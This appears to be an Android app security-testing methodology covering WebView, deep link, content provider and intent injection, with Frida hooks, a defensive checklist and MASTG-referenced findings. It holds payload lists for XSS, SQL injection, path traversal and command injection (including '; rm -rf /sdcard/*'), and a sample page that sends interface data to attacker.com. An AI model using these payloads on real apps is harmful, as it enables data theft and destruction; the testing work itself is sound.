Client-Side Injection Testing Methodology
Client-side injection testing covers vulnerabilities in WebViews, deep links, content providers, and other components that handle external input.
WebView Security Testing
Static Analysis
# Find WebView usage
grep -rni "WebView" jadx_output/ --include="*.java"
# JavaScript enabled
grep -rni "setJavaScriptEnabled(true)" jadx_output/
# JavaScript interface
grep -rni "addJavascriptInterface" jadx_output/
# File access settings
grep -rniE "(setAllowFileAccess|setAllowFileAccessFromFileURLs|setAllowUniversalAccessFromFileURLs)" jadx_output/
# Mixed content mode
grep -rni "setMixedContentMode" jadx_output/WebView Configuration Monitoring
frida_run_script(pid, """
Java.perform(function() {
var WebSettings = Java.use('android.webkit.WebSettings');
WebSettings.setJavaScriptEnabled.implementation = function(flag) {
console.log('[WEBVIEW] setJavaScriptEnabled: ' + flag);
return this.setJavaScriptEnabled(flag);
};
WebSettings.setAllowFileAccess.implementation = function(flag) {
console.log('[WEBVIEW] setAllowFileAccess: ' + flag);
if (flag) console.log(' [!] WARNING: File access enabled');
return this.setAllowFileAccess(flag);
};
WebSettings.setAllowFileAccessFromFileURLs.implementation = function(flag) {
console.log('[WEBVIEW] setAllowFileAccessFromFileURLs: ' + flag);
if (flag) console.log(' [!] DANGER: File URL access enabled');
return this.setAllowFileAccessFromFileURLs(flag);
};
WebSettings.setAllowUniversalAccessFromFileURLs.implementation = function(flag) {
console.log('[WEBVIEW] setAllowUniversalAccessFromFileURLs: ' + flag);
if (flag) console.log(' [!] CRITICAL: Universal file access enabled');
return this.setAllowUniversalAccessFromFileURLs(flag);
};
var WebView = Java.use('android.webkit.WebView');
WebView.loadUrl.overload('java.lang.String').implementation = function(url) {
console.log('[WEBVIEW] loadUrl: ' + url);
if (url.toLowerCase().indexOf('javascript:') === 0) {
console.log(' [!] JavaScript URL loaded');
}
if (url.toLowerCase().indexOf('file://') === 0) {
console.log(' [!] Local file loaded');
}
return this.loadUrl(url);
};
WebView.addJavascriptInterface.implementation = function(object, name) {
console.log('[WEBVIEW] addJavascriptInterface: ' + name);
console.log(' Object class: ' + object.getClass().getName());
// List methods
var methods = object.getClass().getMethods();
for (var i = 0; i < methods.length; i++) {
var annotations = methods[i].getAnnotations();
for (var j = 0; j < annotations.length; j++) {
if (annotations[j].toString().indexOf('JavascriptInterface') !== -1) {
console.log(' @JavascriptInterface: ' + methods[i].getName());
}
}
}
return this.addJavascriptInterface(object, name);
};
});
""")WebView XSS Testing
# Test XSS in WebView activities
xss_payloads = [
"javascript:alert(document.cookie)",
"javascript:alert(document.domain)",
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"data:text/html,<script>alert(1)</script>"
]
for payload in xss_payloads:
launch_activity("com.target.app", ".WebViewActivity",
extras={"url": payload})JavaScript Interface Abuse
# If JavaScript interface found, test for abuse
# Common dangerous patterns:
# - @JavascriptInterface method that returns sensitive data
# - @JavascriptInterface method that performs file operations
# - @JavascriptInterface method that starts activities
# Load custom HTML to call JavaScript interface
malicious_html = """
<html>
<body>
<script>
// Call exposed JavaScript interface
var result = AndroidInterface.getSensitiveData();
new Image().src = 'http://attacker.com/?data=' + result;
</script>
</body>
</html>
"""Deep Link / URL Scheme Testing
Discovery
# List exported components
components = list_exported_components("com.target.app")
# Check AndroidManifest.xml for intent-filters
# <intent-filter>
# <action android:name="android.intent.action.VIEW"/>
# <category android:name="android.intent.category.DEFAULT"/>
# <category android:name="android.intent.category.BROWSABLE"/>
# <data android:scheme="targetapp"/>
# </intent-filter>Deep Link Testing
# Test deep link handling
deep_links = [
# Normal functionality
"targetapp://main",
"targetapp://profile?id=123",
# Path traversal
"targetapp://file?path=../../../etc/passwd",
"targetapp://file?path=/data/data/com.other.app/databases/db.sqlite",
# XSS (if rendered in WebView)
"targetapp://web?url=javascript:alert(document.cookie)",
"targetapp://web?content=<script>alert(1)</script>",
# SQL injection
"targetapp://user?id=1' OR '1'='1",
"targetapp://search?q=' UNION SELECT * FROM users--",
# Open redirect
"targetapp://redirect?url=http://evil.com",
# Parameter pollution
"targetapp://action?param=value¶m=evil"
]
for link in deep_links:
launch_activity("com.target.app", ".DeepLinkActivity", data_uri=link)Deep Link Monitoring
frida_run_script(pid, """
Java.perform(function() {
var Activity = Java.use('android.app.Activity');
Activity.getIntent.implementation = function() {
var intent = this.getIntent();
if (intent.getData() !== null) {
console.log('[DEEPLINK] Activity: ' + this.getClass().getName());
console.log(' URI: ' + intent.getData().toString());
var uri = intent.getData();
console.log(' Scheme: ' + uri.getScheme());
console.log(' Host: ' + uri.getHost());
console.log(' Path: ' + uri.getPath());
console.log(' Query: ' + uri.getQuery());
}
return intent;
};
var Intent = Java.use('android.content.Intent');
Intent.getData.implementation = function() {
var data = this.getData();
if (data !== null) {
console.log('[INTENT] getData: ' + data.toString());
}
return data;
};
});
""")Content Provider Testing
Discovery
# List content providers
components = list_exported_components("com.target.app")
# providers = [
# {"authority": "com.target.app.provider", "exported": true}
# ]Basic Queries
# Query content provider
query_content_provider("content://com.target.app.provider/users")
query_content_provider("content://com.target.app.provider/accounts")
query_content_provider("content://com.target.app.provider/data")SQL Injection Testing
# SQL injection payloads
sql_payloads = [
"content://com.target.app.provider/users/1' OR '1'='1",
"content://com.target.app.provider/users/1' OR '1'='1' --",
"content://com.target.app.provider/users?id=1 OR 1=1",
"content://com.target.app.provider/users?selection=1=1",
"content://com.target.app.provider/users/' UNION SELECT * FROM accounts--"
]
for payload in sql_payloads:
query_content_provider(payload)Path Traversal Testing
# Path traversal payloads
path_payloads = [
"content://com.target.app.provider/../../../etc/passwd",
"content://com.target.app.provider/../databases/private.db",
"content://com.target.app.provider/../../shared_prefs/auth.xml",
"content://com.target.app.provider/file?path=../../../etc/passwd"
]
for payload in path_payloads:
query_content_provider(payload)Content Provider Monitoring
frida_run_script(pid, """
Java.perform(function() {
var ContentProvider = Java.use('android.content.ContentProvider');
ContentProvider.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String').implementation = function(uri, projection, selection, selectionArgs, sortOrder) {
console.log('[PROVIDER] query');
console.log(' URI: ' + uri.toString());
if (selection) console.log(' Selection: ' + selection);
if (selectionArgs) console.log(' Args: ' + selectionArgs);
return this.query(uri, projection, selection, selectionArgs, sortOrder);
};
ContentProvider.insert.implementation = function(uri, values) {
console.log('[PROVIDER] insert');
console.log(' URI: ' + uri.toString());
console.log(' Values: ' + values.toString());
return this.insert(uri, values);
};
ContentProvider.update.implementation = function(uri, values, selection, selectionArgs) {
console.log('[PROVIDER] update');
console.log(' URI: ' + uri.toString());
console.log(' Selection: ' + selection);
return this.update(uri, values, selection, selectionArgs);
};
ContentProvider.delete.implementation = function(uri, selection, selectionArgs) {
console.log('[PROVIDER] delete');
console.log(' URI: ' + uri.toString());
console.log(' Selection: ' + selection);
return this.delete(uri, selection, selectionArgs);
};
ContentProvider.openFile.implementation = function(uri, mode) {
console.log('[PROVIDER] openFile');
console.log(' URI: ' + uri.toString());
console.log(' Mode: ' + mode);
return this.openFile(uri, mode);
};
});
""")Intent Injection Testing
Exported Activity Testing
# Test exported activities with malicious extras
components = list_exported_components("com.target.app")
for activity in components['activities']:
# Command injection
launch_activity("com.target.app", activity,
extras={"command": "; id"})
# Path traversal
launch_activity("com.target.app", activity,
extras={"file": "../../../etc/passwd"})
# XSS
launch_activity("com.target.app", activity,
extras={"data": "<script>alert(1)</script>"})Broadcast Injection Testing
# Test broadcast receivers
send_broadcast("com.target.app.ACTION_PROCESS",
extras={"data": "'; DROP TABLE users;--"})
send_broadcast("com.target.app.ACTION_FILE",
extras={"path": "../../../etc/passwd"})
# Custom actions (found in manifest)
send_broadcast("com.target.app.CUSTOM_ACTION",
extras={"command": "; rm -rf /sdcard/*"})Service Injection Testing
# Test exported services
start_service("com.target.app", ".DataService",
extras={"query": "' OR '1'='1"})
start_service("com.target.app", ".FileService",
extras={"path": "../../../data/data/com.other.app/"})Fragment Injection Testing
Detection
# Search for fragment handling
grep -rni "getStringExtra.*fragment" jadx_output/
grep -rni "PreferenceActivity" jadx_output/Testing
# Fragment injection (for apps targeting SDK < 19)
launch_activity("com.target.app", ".SettingsActivity",
extras={"fragment": "com.target.app.AdminFragment"})
launch_activity("com.target.app", ".SettingsActivity",
extras={":android:show_fragment": "com.target.app.HiddenFragment"})Injection Testing Checklist
WebView
- JavaScript disabled for untrusted content
- No JavaScript interface for untrusted content
- File access disabled
- Universal file access disabled
- Mixed content blocked
- Input validation for URLs
Deep Links
- Scheme validation
- Path validation
- Query parameter sanitization
- No sensitive operations via deep link
- Open redirect protection
Content Providers
- Proper permission protection
- Parameterized queries (no SQL injection)
- Path validation (no traversal)
- Input sanitization
- Proper exported flag
Intents
- Intent validation
- Extra sanitization
- No sensitive data in intents
- Proper permission checks
- Component not exported unnecessarily
Common Findings
| Finding | Severity | MASTG Reference |
|---|---|---|
| JavaScript interface exposed | High | MASTG-TEST-0007 |
| WebView file access enabled | High | MASTG-TEST-0007 |
| Deep link injection | High | MASTG-TEST-0008 |
| Content provider SQL injection | Critical | MASTG-TEST-0009 |
| Content provider path traversal | High | MASTG-TEST-0009 |
| Exported component without permission | High | MASTG-TEST-0010 |
| Intent injection | Medium | MASTG-TEST-0011 |
| Fragment injection | High | MASTG-TEST-0012 |
| XSS in WebView | High | MASTG-TEST-0007 |